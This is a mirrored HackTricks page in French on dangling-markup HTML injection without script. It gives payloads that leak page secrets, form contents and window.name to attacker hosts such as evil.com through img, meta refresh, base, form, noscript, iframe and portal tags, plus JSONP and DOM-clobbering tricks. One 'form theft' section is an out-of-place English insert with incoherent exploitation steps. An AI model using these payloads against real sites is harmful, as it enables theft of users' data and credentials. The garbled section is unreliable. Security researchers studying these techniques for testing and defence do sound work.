mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
296 lines
16 KiB
Markdown
296 lines
16 KiB
Markdown
# Dangling Markup - Injection HTML sans script
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
|
||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Résumé
|
||
|
||
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
|
||
Il est également utile si un **secret est enregistré en clair** dans le HTML et que vous voulez l'**exfiltrer** du client, ou si vous voulez tromper l'exécution d'un script.
|
||
|
||
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**politiques de sécurité du contenu**](content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
|
||
|
||
## Applications principales
|
||
|
||
### Vol de secrets en texte clair
|
||
|
||
Si vous injectez `<img src='http://evil.com/log.cgi?` lorsque la page est chargée, la victime vous enverra tout le code entre la balise `img` injectée et la prochaine citation dans le code. Si un secret est situé dans ce bloc, vous le volerez (vous pouvez faire la même chose en utilisant une double citation, regardez ce qui pourrait être plus intéressant à utiliser).
|
||
|
||
Si la balise `img` est interdite (en raison de la CSP, par exemple), vous pouvez également utiliser `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||
```
|
||
<img src='http://attacker.com/log.php?HTML=
|
||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||
```
|
||
Notez que **Chrome bloque les URL HTTP** contenant "<" ou "\n", vous pouvez donc essayer d'autres schémas de protocole tels que "ftp".
|
||
|
||
Vous pouvez également abuser de `@import` CSS (qui enverra tout le code jusqu'à ce qu'il trouve un ";").
|
||
```markup
|
||
<style>@import//hackvertor.co.uk? <--- Injected
|
||
<b>steal me!</b>;
|
||
```
|
||
Vous pouvez également utiliser **`<table`**:
|
||
```bash
|
||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||
```
|
||
Vous pouvez également insérer une balise `<base`. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une certaine interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise de base aura changé le domaine pointé par le lien):
|
||
```markup
|
||
<base target=' <--- Injected
|
||
steal me'<b>test</b>
|
||
```
|
||
### Vol de formulaires
|
||
|
||
---
|
||
|
||
#### Description
|
||
|
||
When a form is submitted, the data is sent to the server and processed. However, sometimes the form is not properly configured and the data is leaked to the attacker.
|
||
|
||
#### Exploitation
|
||
|
||
1. Look for forms in the target website.
|
||
2. Submit the form with random data.
|
||
3. Intercept the request with a proxy tool.
|
||
4. Modify the request to include a `Content-Type` header with a value of `text/html`.
|
||
5. Add the following code to the request body:
|
||
|
||
```html
|
||
<html>
|
||
<body>
|
||
<script>
|
||
var form = document.forms[0];
|
||
var data = new FormData(form);
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open('POST', 'http://attacker.com/steal.php', true);
|
||
xhr.send(data);
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
6. Forward the modified request to the server.
|
||
7. The form data will be sent to the attacker's server.
|
||
|
||
#### Prevention
|
||
|
||
- Properly configure the form to prevent data leakage.
|
||
- Use HTTPS to encrypt the data in transit.
|
||
```markup
|
||
<base href='http://evil.com/'>
|
||
```
|
||
Ensuite, les formulaires qui envoient des données vers un chemin (comme `<form action='update_profile.php'>`) enverront les données vers le domaine malveillant.
|
||
|
||
### Vol de formulaires 2
|
||
|
||
Définissez un en-tête de formulaire: `<form action='http://evil.com/log_steal'>` cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
|
||
|
||
### Vol de formulaires 3
|
||
|
||
Le bouton peut changer l'URL où les informations du formulaire vont être envoyées avec l'attribut "formaction":
|
||
```markup
|
||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||
```
|
||
Un attaquant peut utiliser ceci pour voler des informations.
|
||
|
||
### Vol de secrets en texte clair 2
|
||
|
||
En utilisant la technique mentionnée précédemment pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
|
||
```markup
|
||
<input type='hidden' name='review_body' value="
|
||
```
|
||
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et les guillemets doubles suivants dans le HTML. Cette attaque mélange "_**Vol de secrets en clair**_" avec "_**Vol de formulaires2**_".
|
||
|
||
Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise `</option>` fermée soit trouvée seront envoyées:
|
||
```markup
|
||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||
```
|
||
### Injection de paramètre de formulaire
|
||
|
||
Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs pour qu'une action inattendue soit effectuée :
|
||
```markup
|
||
<form action='/change_settings.php'>
|
||
<input type='hidden' name='invite_user'
|
||
value='fredmbogo'> ← Injected lines
|
||
|
||
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
||
...
|
||
<input type="text" name="invite_user" value=""> ← Subverted field
|
||
...
|
||
<input type="hidden" name="xsrf_token" value="12345">
|
||
...
|
||
</form>
|
||
```
|
||
### Vol de secrets en texte clair via noscript
|
||
|
||
`<noscript></noscript>` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome dans [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||
|
||
Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par un attaquant sera d'injecter ceci :
|
||
```markup
|
||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||
```
|
||
### Contournement de CSP avec interaction utilisateur
|
||
|
||
D'après cette [recherche de PortSwigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), il est possible d'**exfiltrer des données** même dans les environnements les plus restreints en CSP avec une certaine **interaction utilisateur**. Dans ce cas, nous allons utiliser la charge utile suivante :
|
||
```markup
|
||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||
<base target='
|
||
```
|
||
Notez que vous demanderez à la **victime** de **cliquer sur un lien** qui le **redirigera** vers une **charge utile** contrôlée par vous. Notez également que l'attribut **`target`** à l'intérieur de la balise **`base`** contiendra du **contenu HTML** jusqu'à la prochaine apostrophe.\
|
||
Cela fera en sorte que la **valeur** de **`window.name`** si le lien est cliqué sera tout ce **contenu HTML**. Par conséquent, comme vous **contrôlez la page** où la victime accède en cliquant sur le lien, vous pouvez accéder à ce **`window.name`** et **exfiltrer** ces données :
|
||
```markup
|
||
<script>
|
||
if(window.name) {
|
||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||
</script>
|
||
```
|
||
### Technique de manipulation de flux de script 1 - Attaque de l'espace de noms HTML
|
||
|
||
Insérez une nouvelle balise avec un identifiant à l'intérieur de HTML qui écrasera la suivante avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée :
|
||
```markup
|
||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||
...
|
||
Share this status update with: ← Legitimate optional element of a dialog
|
||
<input id='share_with' value=''>
|
||
|
||
...
|
||
|
||
function submit_status_update() {
|
||
...
|
||
request.share_with = document.getElementById('share_with').value;
|
||
...
|
||
}
|
||
```
|
||
### Flux de travail de script trompeur 2 - Attaque de l'espace de noms de script
|
||
|
||
Créez des variables à l'intérieur de l'espace de noms javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application:
|
||
```markup
|
||
<img id='is_public'> ← Injected markup
|
||
|
||
...
|
||
|
||
// Legitimate application code follows
|
||
|
||
function retrieve_acls() {
|
||
...
|
||
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
||
is_public = true;
|
||
else
|
||
is_public = false;
|
||
}
|
||
|
||
function submit_new_acls() {
|
||
...
|
||
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
||
...
|
||
}
|
||
```
|
||
### Abus de JSONP
|
||
|
||
Si vous trouvez une interface JSONP, vous pourriez être en mesure d'appeler une fonction arbitraire avec des données arbitraires :
|
||
```markup
|
||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||
function set_sharing(public) {
|
||
if (public) request.access_mode = AM_PUBLIC;
|
||
else request.access_mode = AM_PRIVATE;
|
||
...
|
||
}
|
||
|
||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||
set_sharing({ ... })
|
||
```
|
||
Ou vous pouvez même essayer d'exécuter du javascript:
|
||
```markup
|
||
<script src='/search?q=a&call=alert(1)'></script>
|
||
```
|
||
### Abus d'Iframe
|
||
|
||
Notez qu'un **document enfant peut voir et définir la propriété de localisation pour le parent, même s'il est en cross-origin.** Cela signifie que vous pouvez faire accéder le client à n'importe quelle autre page en chargeant à l'intérieur d'un **iframe** un code tel que:
|
||
```markup
|
||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||
```
|
||
Cela peut être atténué avec quelque chose comme: _**sandbox=’ allow-scripts allow-top-navigation’**_
|
||
|
||
Un iframe peut également être utilisé pour divulguer des informations sensibles d'une page différente **en utilisant l'attribut de nom d'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître **les informations sensibles à l'intérieur de l'attribut de nom d'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le divulguer.
|
||
```html
|
||
<script>
|
||
function cspBypass(win) {
|
||
win[0].location = 'about:blank';
|
||
setTimeout(()=>alert(win[0].name), 500);
|
||
}
|
||
</script>
|
||
|
||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||
```
|
||
Pour plus d'informations, consultez [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||
|
||
### Abus de \<meta
|
||
|
||
Vous pouvez utiliser **`meta http-equiv`** pour effectuer **plusieurs actions** telles que la définition d'un cookie : `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou effectuer une redirection (dans ce cas, en 5 secondes) : `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||
|
||
Cela peut être **évité** avec un **CSP** concernant **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
|
||
|
||
### Nouvelle balise HTML \<portal>
|
||
|
||
Vous pouvez trouver une recherche très **intéressante** sur les vulnérabilités exploitables de la balise \<portal> [ici](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||
Au moment de la rédaction de ceci, vous devez activer la balise portal sur Chrome dans `chrome://flags/#enable-portals` sinon cela ne fonctionnera pas.
|
||
```markup
|
||
<portal src='https://attacker-server?
|
||
```
|
||
### Fuites HTML
|
||
|
||
Toutes les façons de divulguer la connectivité en HTML ne seront pas utiles pour Dangling Markup, mais parfois cela pourrait aider. Vérifiez-les ici: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||
|
||
## XS-Search
|
||
|
||
Les XS-Search sont orientés vers **l'exfiltration d'informations entre origines croisées** en abusant des **attaques de canal latéral**. Par conséquent, c'est une technique différente de Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution JS), comme [**Injection CSS**](xs-search.md#css-injection) ou [**Chargement d'images paresseux**](xs-search.md#image-lazy-loading)**.**
|
||
|
||
{% content-ref url="xs-search.md" %}
|
||
[xs-search.md](xs-search.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Liste de détection de force brute
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||
|
||
## Références
|
||
|
||
Toutes les techniques présentées ici et plus peuvent être examinées en détail dans:
|
||
|
||
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
|
||
|
||
D'autres balises HTML qui peuvent être abusées peuvent être trouvées ici:
|
||
|
||
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
|
||
|
||
Plus d'informations:
|
||
|
||
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|